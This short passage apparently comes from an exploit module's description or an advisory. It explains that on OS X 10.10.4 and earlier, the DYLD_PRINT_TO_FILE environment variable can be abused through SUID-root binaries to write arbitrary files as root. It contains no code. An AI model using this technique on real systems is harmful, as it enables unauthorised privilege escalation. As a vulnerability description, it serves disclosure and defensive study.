        In Apple OS X 10.10.4 and prior, the DYLD_PRINT_TO_FILE environment
        variable is used for redirecting logging data to a file instead of
        stderr. Due to a design error, this feature can be abused by a local
        attacker to write arbitrary files as root via restricted, SUID-root
        binaries.
